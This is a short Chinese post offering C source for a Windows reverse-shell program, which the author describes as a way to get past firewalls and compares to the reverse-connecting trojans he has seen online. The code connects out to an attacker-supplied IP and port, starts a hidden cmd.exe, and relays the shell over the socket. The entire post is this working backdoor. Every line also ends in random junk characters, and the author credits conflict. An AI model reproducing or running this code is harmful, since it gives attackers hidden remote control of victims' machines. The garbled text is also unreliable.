这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0<g;g%
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/* ============================== tx$i(
Rebound port in Windows NT O"'.n5>:`
By wind,2006/7 R,Gr{"H
===============================*/ "hE/f~\
#include w)Rtt 9
#include |_<'qh
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#pragma comment(lib,"wsock32.lib") JpI(Vcd
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void OutputShell(); *.'9 eC0s
SOCKET sClient; F'v3caE
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A~2U9f+\
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void main(int argc,char **argv) FWi c/7
{ 96NZrT
WSADATA stWsaData; q5Bj0r[/o
int nRet; ,5Vc
SOCKADDR_IN stSaiClient,stSaiServer; \IL;}D{
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if(argc != 3) ~ RdD6V
{ '7'*+sgi$
printf("Useage:\n\rRebound DestIP DestPort\n"); Mx-? &
return; fG *1A\t]
} P4\{be>e
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WSAStartup(MAKEWORD(2,2),&stWsaData); >M}\_c=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EnM }H9A
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stSaiClient.sin_family = AF_INET; dz3KBiq
stSaiClient.sin_port = htons(0); xH,D
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9+z5$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TT85G
{ %VV\biO]
printf("Bind Socket Failed!\n"); rNi]|)-ET
return; 4$5d*7
} t:NYsL
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stSaiServer.sin_family = AF_INET; @&I7z,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gY\g+df-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yN'<iTh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZWtlO P#]
{ /w!!jj^
printf("Connect Error!"); ;)6LX-
return; T(GEFntY
} bF 85T(G
OutputShell(); .=~-sj@k
} "mbjS(-eg
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void OutputShell() *btLd7c%
{ Q|gw\.]$&[
char szBuff[1024]; $uPM.mPFE
SECURITY_ATTRIBUTES stSecurityAttributes; g':/hlQ
OSVERSIONINFO stOsversionInfo; (f-Mm0%[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d`XC._%^J
STARTUPINFO stStartupInfo; CMcS4X9/}
char *szShell; /Zzb7bHLK
PROCESS_INFORMATION stProcessInformation; IInsq
unsigned long lBytesRead; RJYB=y8l
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zeC@!,lH
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mQbpv'N
stSecurityAttributes.lpSecurityDescriptor = 0; a/4!zT
stSecurityAttributes.bInheritHandle = TRUE; uVSc1MS1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~o<+tL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B}:/2?gQ
{?!0<0
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D2,2Yy5y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =\QKzQ'BC
stStartupInfo.wShowWindow = SW_HIDE; Q5ZZ4`K!
stStartupInfo.hStdInput = hReadPipe; I[x+7Y0k9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %2S+G?$M?
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GetVersionEx(&stOsversionInfo); 5qe6/E@
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switch(stOsversionInfo.dwPlatformId) *X_-8 ^~
{ -(Zi
case 1: o+wG69
szShell = "command.com"; '\,|B
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break; 9<" .1
default: (t.OqgY
szShell = "cmd.exe"; qe/|u3I<lF
break; x;F^7c1
} B#A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >~%EB?8
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send(sClient,szMsg,77,0); 1#Ls4+]5
while(1) 03%`ouf
{ 7])cu>/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rnkq.
if(lBytesRead) lI)RaiMr=
{ pv}k=wqJ1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b|rMmx8vA
send(sClient,szBuff,lBytesRead,0); dj;Zzt3
} &'mq).I2
else eG@0:
{ Ala~4_" WL
lBytesRead=recv(sClient,szBuff,1024,0); 342m=7lK
if(lBytesRead<=0) break; K1_]ne)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hoLQuh%2%
}
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} Bd8{25{c
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return; |riP*b
}